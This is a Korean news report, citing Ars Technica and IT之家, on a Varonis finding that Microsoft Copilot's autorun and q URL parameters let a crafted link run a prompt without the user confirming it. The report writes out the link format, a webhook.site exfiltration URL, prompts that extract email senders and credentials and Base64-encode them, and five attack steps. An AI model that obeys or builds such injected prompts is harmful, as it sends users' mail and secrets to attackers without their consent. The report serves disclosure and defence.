과학기술 매체 Ars Technica는 어제(8월 18일) 게시글을 통해 마이크로소프트 Copilot에 보안 취약점이 존재하며, ?autorun=1 매개변수와 ?q=를 함께 사용하면 사용자 확인을 우회해 사용자 정보를 탈취할 수 있다고 보도했다.
IT之家는 해당 게시글을 인용해 보도하면서, 보안 업체 Varonis의 연구원들이 대부분의 AI 어시스턴트와 마찬가지로 Copilot도 URL을 통해 프롬프트를 받을 수 있다고 지적했다고 전했다. URL의 기본 부분을 통해 모델이 Gmail 등의 애플리케이션을 열 수 있으며, 후속 매개변수와 텍스트를 사용하면 어시스턴트에게 받은편지함 내용을 요약하거나 이메일 초안을 작성하도록 요청할 수 있다.
연구원들은 Copilot에 ?autorun=1 매개변수가 존재하며, ?q=와 함께 사용하면 사용자 확인을 우회할 수 있다는 사실을 발견하고 다음과 같은 링크를 구성했다.
https://copilot.microsoft.com/?q=&autorun=1사용자가 공격자가 만든 링크를 클릭하면 브라우저는 사용자가 로그인한 세션에서 Copilot을 로드한다. 이때 ?autorun=1은 자동 실행을 트리거하고, ?q=에 포함된 프롬프트는 사용자의 동작 없이도 실행된다.
연구원들이 구성한 프롬프트는 Copilot에 받은편지함을 검색해 가장 최근에 받은 이메일을 찾고, 발신자의 이메일 주소만 추출한 뒤 그 결과를 SUPPORT라는 이름의 변수에 저장하도록 요청한다. 이후 Copilot은 다음 URL을 생성하고 “URL 요약” 명령을 실행한다.
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORT공격자는 이메일, 채팅 메시지, 피싱 페이지 또는 QR 코드를 통해 피해자에게 악성 링크를 보낼 수 있다. 사용자가 클릭하면 민감한 정보가 다른 URL에 추가되고, Copilot은 해당 주소를 기기에서 자동으로 연다. 페이지가 공격자가 통제하는 웹사이트에서 호스팅되므로 데이터는 결국 공격자에게 전송된다.
연구원들은 Copilot이 받은편지함에서 비밀번호와 기타 자격 증명을 검색하도록 하는 또 다른 프롬프트도 설계했다. 관련 비밀 정보가 발견되면 어시스턴트는 이를 같은 유형의 공격자 통제 서버로 전송한다. 데이터 탈취를 숨기고 전송 오류를 줄이기 위해 외부로 전송되는 내용은 먼저 Base64(바이너리 데이터를 텍스트로 인코딩하는 형식)로 변환된다.
Varonis가 정리한 공격 단계는 다음 5가지다.
1. 피해자가 공격자가 정교하게 구성한 URL을 클릭한다(이메일, 채팅, 피싱 페이지, QR 코드 등의 방식으로 유포).
2. 브라우저가 피해자의 활성화된 인증 세션에서 copilot.microsoft.com을 로드한다.
3. ?autorun=1 매개변수가 자동 실행을 트리거하고, ?q= 프롬프트가 어떠한 사용자 조작 없이 표시된다.
4. Copilot이 주입된 프롬프트를 처리하며, 피해자의 세션 컨텍스트, 연결된 애플리케이션 및 메모리에 대한 완전한 접근 권한을 갖는다.
5. 로드가 완료된 직후 Copilot 탭을 닫더라도 네트워크 가져오기, 커넥터 호출 또는 다단계 체인 작업을 포함한 프롬프트 실행은 끝까지 완료된다.